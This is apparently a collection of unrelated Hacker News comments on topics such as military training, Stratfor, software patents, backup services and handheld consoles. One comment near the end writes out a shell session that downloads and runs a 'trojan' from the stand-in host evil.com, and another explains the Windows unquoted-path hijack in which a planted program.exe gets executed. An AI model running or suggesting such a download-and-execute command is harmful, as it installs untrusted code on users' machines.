skysight-inc/HackerNews huggingface dataset:
Military here.

One of the funniest things, to me, is that the military is having a lot of problems shifting mentalities. The "Shut the fuck up and do what you're told" model works for a draftee military, but it's complete garbage for a professional military. Today's soldiers are faced with circumstances that require improvisation, creativity, and original thought. Literature on the subject focuses on the "strategic corporal," the squad or even fireteam leader who is forced to make autonomous decisions.

Unfortunately, things are pretty slow to change in the military, so basic training is all about the STFUDWYT Model.

Then, when it actually comes to promotion time, they have to find the people who haven't been completely brainwashed. It's awesome to find that the kids who were seen as shitbags in boot camp tend to end up doing far better than the kids who wholeheartedly drank the Kool-Aid.

I have both in my shop right now. I can use the brainwashed kids, but I can't make them leaders because they have no capacity for original thought. They'll be minions forever.

That being said, I also have a kid in my shop who is certainly not brainwashed and is also completely intolerable to work with.
This post was certainly not worth a downvote, but the details are a little fuzzy. Perhaps it was the because your second sentence seems to assume nefarious intention on Stratfor's part. I'm upvoting, for the sake of discussion.

StratCap was an attempt by Stratfor to start their own hedge fund of sorts, funded by Shea Morenz, previously a regional director for Goldman Sachs.

Morenz, "proposed a new venture, StratCap, which would allow us to utilize the intelligence we were gathering about the world in a new but related venue-an investment fund. Where we had previously advised other hedge funds. We would now have our own, itself fully funded by Shea. Shea invested over $2 million in Stratfor and more in StratCap. In return he took a seat on Stratfor's board and a minority position in Stratfor, whose control remains in Don's and my hands. It was a good deal for Stratfor, a good deal for StratCap, and since the deal closed officially on August 1, we now have
the task of doing what we all want-building Stratfor and StratCap." [1] email from Friedman to Stratfor employees

As I understand it, the deal never took flight, and caught a lot of clouded press after the leak.

I'm not sure what you mean by:
>organization made to funnel insider info into other nations where it would be profited off of

Statfor deals with off-the-shelf OSINT available to you and me. StratCap was Stratfor's attempt to profit FROM a hedge fund "Where [they] had previously advised other hedge funds." [1]

If you have any info on StratCap having 'insider trading' intentions, I'd love to hear about it.

[1] - http://wikileaks.org/gifiles/docs/2312421_re-fwd-labor-day-r...
I was considering using spree, but integrating an existing application (authentication, theme, etc) with spree looked to be a nightmare.

Any thoughts HN?
ValleyWag says PG supports descrimination
Will this get flagged?
Not sure how you can make this assertion. You don't know how many employees she's let go, how many Jobs let go, and there is no evidence that the new hires Yahoo has made are not high quality employees.
Fair enough. In that case, my last 'paragraph' is definitely what the takeaway from my comment should be.
'Revenge porn' law considered by California
I recently created a "petition" for SpiderOak to open source the client (and allow people to build it themselves from source) so that people can let SpiderOak know their thoughts. The petition signatures are sent to SpiderOak.

It's still available at the link below if any SpiderOak user (or potential customer) wants to use it to "show the numbers" on a single site (as opposed to scattered comments):
http://www.change.org/petitions/spideroak-http-www-spideroak...

There's an online backup service called Cyphertite (cyphertite.com) that provides the sources for its client programs on all the platforms it supports. So I don't really see why SpiderOak, with its prominent proclamations of "zero knowledge", cannot walk the talk.

Of course, I understand that certain competitive advantages may take longer to provide in the open (until factors other than the client source code and backend architecture become competitive advantages). But I have to admit that SpiderOak has been dragging on opening up the source.

Edit: Let me also admit that I do like SpiderOak and the emphasis it places on privacy and in educating users about privacy. We need more services that strongly support what ought to be basic rights.
UK Developers seem to have no idea what they are worth, and work for peanuts. IMHO.

The varied answers you get about London salaries is because the financial industry pays pretty well, competitive with SV or NY money. Everyone else gets paid peanuts. Or goes contracting like me.
You might wanna check out Autechre's side project Gescom, specifically the 'MiniDisc' album: https://en.wikipedia.org/wiki/Minidisc_%28Gescom_minidisc%29

They abuse seamless shuffle with an 88 track minidisc album that's designed to be played on random shuffle. It basically sounds like a Farmer's Manual album, but it's still wild.
The criticism of my writing style is fair. My intention was to spread the concept in an interesting style, not act as if I made it up. I may have failed in that attempt and, if so, I apologize.

As a small piece of proof that I didn't try to act as if I made it up--I linked to the Wikipedia post about the term cargo culting.
Not necessarily disagreeing, but if a male CEO was posing in a fashion magazine, he would get just as much criticism.
Can you go into more detail? It's hard to imagine how a test could be devised that wouldn't be gameable by giving answers that would be expected of a person with a normal personality.
Well, yes, but her opponents are also dismissed as "macho loudmouth[s]", which is something you can only really say about a man.

That's not to say that all of the criticism of Mayer is fair or justified. I imagine that very little of it is. But I suspect that she's being criticised much more for having ideas, and the will to pursue them, than she is for being female (say, an 80/20 split). But it's a lot easier for people who don't care about the intricacies of Yahoo's product strategy to talk about her gender than it is to talk about her ideas for Yahoo's products.
I wonder if this is mostly meant to get consumers' attention and gently nudge them towards paying $40 extra for the 3DS. i.e. "$130 for a Gameboy? That's not bad. well if I pay $40 extra I can get a much nicer one..."
Ask HN: How should I read comment threads?
Coming from Reddit, I am accustomed to being able to collapse comments to skip over lots of low-impact discussion. I haven't found a way to collapse comment threads on HN. This appears to lead to the result of having very long first-comment threads, while the ones below get less attention (and less votes).

Combine this with the fact that comment scores aren't shown, I don't have a good idea of whether the community values the bulk of the comments that appear in the first thread or not, and so I usually skip over them.

I am really enjoying the content and discussion on HN, and I'm sure that is due in part to being different from Reddit, but I'm just not sure how to use the system. Can I get any advice?
Programming languages are far more than notation. Notation is just syntax, and syntax is not that important. The syntax has to be readable and pleasant and unambiguous but that is it--nothing more, nothing less.

But programming languages go well beyond this: a programming language is a combination of syntax with semantics. And semantics, by far, is the most important part!

In your musical analogy, syntax would be the notation and semantics would be music theory or composition--the music itself. Semantics pervades everything: it controls what you can express, how you can express it and even how you think about it. All this is very much a function of the programming language more than any other tool or component in a software system.

The computer is the instrument, but the instrument is just an implementation detail. It's what we use to produce the music, but it's the music itself that we create.

As you said, you are a composer not a musician: so which part, then, is important?
What Happens After You Click "Report"?
How do you like the design of Foursquare for Windows 8?
Often, at least in the work contexts, it doesn't matter if they can be gamed. Validity testing is done with the effects of gaming built-in, and there is some evidence that gaming has relations with performance benefits.

A acquaintance of mine is finishing his dissertation on faking on personality and integrity tests, so I'll know more on that soon.
I wonder why they decided to do this. Is there enough interest to warrant charging?
I think what is trying to be protected is the time of the person who designed the part. There could well be unique artistic or engineering contained in the physical design of a product, worth far more that the materials and machine time.
The strength of the vibration is ridiculously low, I've never felt it vibrate when in my pocket, and even when the phone is out on a surface the vibration is easy to miss.
Good for you, hope it works. I did the same thing. Some advice: measure your waist with a flexible tape measure, and get your blood lipids checked. I wish I did that before I started wheat belly / LCHF, to have an accurate before number. Even my wii scale was slightly inaccurate (5-8lbs) on carpet vs hardwood floor, I've later learned.

But yeah, since I kicked wheat and starch (kicking sugar alone did not help), I've lost two inches off my waist, with no exercise. I just wish I would have taken some more scientific before numbers.

edit: google william banting if you haven't heard of him before, for some low carb inspiration.
Not lost on me. I wrote this post about a year ago and dug it out of my drafts folder in honor of the man.
> What is "Big Corp" though? I work at MS and they certainly don't do tests like this - and from my understanding neither does Google, Amazon, Facebook (is fb a "bigcorp"? perhaps not yet..). Dunno about IBM - wouldn't be surprised either way I guess.

I'm an Amazon employee and I can confirm that I didn't have to take any kind of personality test when I applied here.

I was also encouraged to apply to IBM via a friend of a friend, and while I didn't have to take a personality test for them, I did have to fill out a questionnaire asking me about my years of experience in various topics. I was automatically rejected by their system for not having X years of experience in language/framework Y. I didn't find this quite as bizarre as rejecting a brilliant candidate due to some personality test, but I definitely found it a similarly poor experience. It was weird to run into an issue that seems to be brought up every time developers talk about poor interview/recruiting practices.

The only time I can remember actually filling out any kind of personality test when applying for a job was when I applied to McDonalds as a kid, which echoes the GP's point.
Ask HN: quickest way from no coding knowledge to income?
I'm pretty good with HTML and CSS and have dabbled with PHP, Ruby, and JS. I'm familiar with coding concepts but lack real experience. I've built a number of static sites, most of which were for little businesses I've created.

But, unfortunately, none of these businesses have gone anywhere. So, with my liberal arts degree, I make minimum wage at a food service job. It sucks.

Where should I go from here? iOS? WordPress? Ruby on Rails? My interests lie more in Ruby and iOS, but PHP and WordPress seem easier and more immediately lucrative. My dream is to work entirely online, whether that be freelancing, my own products, or remotely at a company.
I haven't tried it, no. I'm big on the HHKB's layout, so the Realforce didn't really interest me.
The way Microsoft Windows parses "Program Files" in the path seems incredible at first:

https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vuln...

http://xato.net/hardening/the-programexe-problem/

"The problem is that it doesn't know. It just starts
at the beginning and tries finding an executable until
it finds a match. So in this case, it will try these
files every time you run the command:

C:\Program.exe
C:\Program Files\Internet.exe
C:\Program Files\Internet Explorer\iexplore.exe

"You might see where I'm going with this: if you
place an executable named program.exe in the root
directory, it will probably end up running quite
a bit. In fact, it will run anytime Windows
launches a Program Files executable that does not
have quotes around the path." [1]

[1] http://www.securityfocus.com/columnists/301
I look at the Nexus 4 as Google's way of saying, "We're sick of your shit, Motorola, Samsung, et al. Your OS 'customizations' make Android look bad, and your phones are too expensive. Fuck you, here's how it should be done."

My Nexus 4 is a hell of a lot more responsive than my girlfriend's Galaxy S4
Ampex made core memory as recently as the 1990s. And yes, they were hand-made.
Inside Github's Elasticsearch Infrastructure
Absolutely. That's my natural position and I've been typing hours per day for 20 years with no signs of stress injuries at all.

A good way to describe it is that the home keys are not asdf jkl; but rather more like qwdc mkp[ . I don't have any real fixed home position though, my wrists always "float" over the keyboard. Particularly the right wrist spends more time near the brackets and slashes for programming.
It looks like you are right. Only enrolled students can see the material and enrollment is closed for the previous sessions. I'll check whether there's a practical way to make the material available.
Super excited to see what these can do. Wish they were available for Pro plans as well, as I'm building similar reports for our store as we speak.
If we start with the premise that there are more people accessing email from a mobile device then we have to take into account how they're doing that.

I have the Gmail app, iPhone's built-in Mail app, and Mailbox app. The only one of them that filters my email using the new Gmail tab structure is the Gmail app (which is not my primary mail app).

This also doesn't take into account that there are still thousands of businesses that are using Outlook to access their Gmail. B2B operations won't have to deal with the Gmail filtering as much.

There's no question that the new tab system has SOME impact but I don't think we can simply accept the numbers in the article as fact in all cases.
Well, given that Microsoft is shaking down people across the industry with patents (http://www.forbes.com/sites/timothylee/2011/07/07/microsofts...) including stuff like FAT32 against B&N, one has to suspect bias.
That's a good point. The last time I was reading about this I found out that some anarchists (pacifists, maybe) refer to this idea as "possession", to distinguish it from property. It's not "your" keyboard (in this case it probably belongs to the company), but you're using it right now, so it would be indecent to take it away from you.
Not sure about the free speech rules around this but yeah if you post something without permission you are a terrible person and are hurting all guys also who want a few hot shots of their gf.
Yet another reason why command line literacy is important, even with "polished" distros. (Particularly if those polished distros have a habit of removing GUI configuration in the name of "simplification", pushing users to forums to find fixes that they can paste into their terminal...)
I don't know that this automatically follows: lots of companies produce equipment for other companies to use on making profit in markets they themselves don't work in.

It's entirely possible for a company to want to manufacture ASICs/boards and not want to run a server farm and deal with that level of IT for bitcoin mining.
LOL, I have always answered no to this. I guess it's more than coincidence that led me to applying to places that don't administer these tests.
China’s Baidu and Qihoo 360 are giving away 1TB of free storage
I had a heap of these at home as a kid, only they were slightly different in that they ferrite rings and the wires were encased in a gel to reduce mechanical strain (so likely a later design). Had I only known they would be selling for thousands of dollars...
They mention Q4 this year for VP9 in WebRTC, though that will probably be limited to Chrome to Chrome connections till uptake increases. What makes you think it would take 2+ years?
I haven't looked in awhile, but ClamAV actually did very well in some third party virus tests. You shouldn't need a Linux specific product. Good AV systems detect viruses for multiple platforms irregardless of the host performing the scan. It's actually really hard to gauge AV effectiveness, so take those published tests with some healthy skepticism. ClamAV detects Linux and Windows viruses, but does not include an on access scanner. It's usually fired off manually or hooked via other programs (spam scanners).

There is however, a fuse FS ClamFS http://clamfs.sourceforge.net/ that provides on access scanning for Linux with ClamAV. I have no idea how much overhead that incurs, but it probably isn't a small amount. A lot of enterprise offerings provide on access scanning (McAfee, F-Prot, Kaspersky, and more).

I'd imagine there are Firefox and Chrome add ons as well.
Did You Know That The Beatles Had To Stop Touring Because…
Case insensitivity is locale-dependent, so you have to either pick a single locale and confuse users with other locales, or deal with the possibility that you could have two files in your filesystem that have the same name in your locale.
No clamshell? Fuck that.

What were they thinking? Am I the only person perplexed by this?
Validity? It's a string like any other. It's not mkdir's job to second-guess what I tell it to do.

And I don't see how it violated such principle. You tell it to create a file with spaces - you even emphasized them with quotes -, and you're surprise it did so?
Cost to make Google phone in U.S: $4
Spam + Blogs = Trouble
Shopify themselves wrote an app to do this:
http://www.shopify.com/blog/6668676-new-free-shopify-app-bul...
They also have a youtube channel where Rip coaches all of the lifts in the book and gives advice on where to go when you aren't progressing and what to do in terms of accessory movements.

http://www.youtube.com/user/AasgaardCo
For a lot of people there is going to be an encode (CPU) bottleneck as well. From trying to do webcasting a while ago, I can tell you that encoding HD video in realtime on last years PCs was a major problem.

Then again, it takes this kind of thing to push hardware makers and ISPs forward. If a lot of people want to use google hangouts with HD, it will create a call for internet connections with fast upload speeds (rather than a bias towards download as we see now).
it just wasn't worth it. Fully agree with that, but was it worth it to remove it before its replacement is ready? Since it was more or less unused it isn't like it was causing a big burden.
Interesting that the power plate indicates 60 Hz supply - yet the UK is 50 Hz. Perhaps stretching things for the title to claim it's "from" the BBC, as opposed to "as used by" - this one was most likely was made for the US market. I wonder what its provenance was?
I won't consider a macbook air again until the screen resolution improves.
You're only thinking about the smallest cogs. Do you want a middle manager to be taken advantage of by those under him? Do you want someone in Sales to be taken advantage of by customers?
Thats not enough. I remember a DS game (trace memory, if I recall correctly) where you had to almost close the lid, so that you would see a reflection of one screen in the other, merging the images.

And figuring out you had to do that was just a part of the puzzle! Then you had to interpret the composite image. Those guys had some interesting puzzles.
Also try the 'wheat belly' flax seed wraps - I just made one for the first time last night - AWESOME! Microwaved it for 3 minutes, and it tasted like a cross between a sandwich thin and french toast.

http://www.tastebook.com/recipes/3016050-Flaxseed-Wrap?full_...
I'm from google, but it's not like there's anything I can do about this. These mistakes convinced me to sell mine and get an iPhone.
Obligatory. The gods must be crazy. http://youtu.be/GorHLQ-jLRQ
I think more interesting than the HD is the fact that they're dropping H.264 for the open sourced VP8

http://arstechnica.com/gadgets/2013/08/google-hangouts-upgra...
Fingerprints.
Is not a 3DS without a 3D element just a DS? (Not that it's a bad thing, I'm a huge fan of the DS-lite.)
Hmm, sounds about right. I haven't read much anarchist literature at all, but that meshes pretty nicely with what I know of anarcho-syndicalists.

Either way, I think it stems from the same basic human desire, probably hardwired, to not have things taken and to have some basic loyalty or respect to members of your 'tribe'. (After all, governments are made of people and those people must have thought the concept of 'property' was a good idea for some reason.)
I've bought 3 of them in a computer cemetery I bet after you pry off the rigor mortis hands, all three still work.
Why would you put your phone glass-side-down anyway? Does it still slide about glass-side-up?
And imagine teenagers ended up acquiring it, and getting access to those launch codes! cue Hollywood movie scenario
Ahh, to live in a free society, where men and woman can own their ideas and stop all others from thinking and acting on similar lines. What liberty we enjoy. How free we are. We own matter, energy and land, yet we can't use them in the manner we see fit, for we may infringe on someone's "intellectual property". We may think thoughts others have thought before, and what an awful theft that would be. Why, For the market to function, the government must grant monopolies on ideas. In general government granted monopolies are bad, but in this particular case...
This is pretty cool. It would be awesome though if you could manipulate the objects with Javascript directly, that would make it a lot easier to build more complex things.
Software patents are an abomination. I could stomach copyright on software, because at least one is still permitted independent implementation and expression. I can't copy your code, but I can rewrite it.

Software patents on the other hand put a fence around ideas themselves. You can't draw a cursor using XOR by implementing it yourself, period, for 20 years.

The patent system is deeply broken, and it doesn't even stop big players anyway. Really, Apple successfully sued Samsung, did it stop Samsung from taking over half the market? Does $1 billion in fines really matter or Apple or Samsung over the long term? By the time these cases are settled, it has already played out in the consumer marketplace anyway. You can't defeat consumer success with patent attacks. Microsoft's Android revenue shakedown won't replace the death of Windows if it happens, and it won't make Windows Phone/Surface RT a winner.

It's a game only lawyers, IP trolls, or paid industry shills love.
Collections Of Unknown Length in Go
what's periodic about it? Isn't it just a table?
My understanding is that the 3D has always been optional, and that a slider on the 3DS allowed you to change the level of "3Dness" with some number of levels between off and on.

Then again, I haven't actually used one really, so I'm not sure.
Both Hickey and Odersky are awesome, having to choose between Clojure and Scala is just an embarrassment of riches. The JVM ecosystem is fortunate to have both building on it.
Looks slightly less portable because of the lack of clamshell, but I bet the battery life is improved enough to make up for it. I'm interested.
I suspect that most people who can find the console will notice what's going on with a session like this:

$ wget evil.com/trojan
$ chmod +x trojan
$ ./trojan

Maybe it's more likely to hit those who double-click unwisely?